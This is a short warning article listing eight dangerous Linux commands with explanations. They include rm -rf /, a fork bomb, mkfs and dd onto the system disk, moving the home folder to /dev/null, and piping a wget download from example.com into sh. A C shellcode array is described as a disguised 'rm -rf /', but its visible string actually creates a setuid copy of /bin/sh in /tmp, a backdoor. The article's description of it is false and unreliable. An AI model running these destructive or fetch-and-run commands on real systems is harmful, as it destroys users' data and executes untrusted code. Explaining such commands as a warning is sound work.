Warning: Don’t Run These 8 Commands On Linux, Ever!

1. rm -rf /

Deletes everything including files on your hard drive and files on connected removable media devices.

rm – Remove the following files.

-rf – Run rm recursively and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, 

including remote file shares and removable drives.

2. Disguised rm –rf /

Actually, the hex version of rm –rf / – wipes out your files just as if you had run rm –rf /.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

3. :(){ :|: & };:

This bash command is actually a denial-of-service attack. It defines a shell function that creates new copies of itself that 

continually replicates itself quickly taking up all your CPU time and memory causing your computer to freeze.

4. mkfs.ext4 /dev/sda1

Equivalent to running format c: on Windows.

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

5. command > /dev/sda

Writes the data directly to the hard disk drive and damaging your file system.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

6. dd if=/dev/random of=/dev/sda

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

7. mv ~ /dev/null

Moves your home directory to a black hole.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

8. wget http://example.com/something -O – | sh

Downloads and runs a script.

wget – Downloads a file. (You may also see curl in place of wget.)

http://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

source: http://www.efytimes.com/e1/fullnews.asp?edid=138849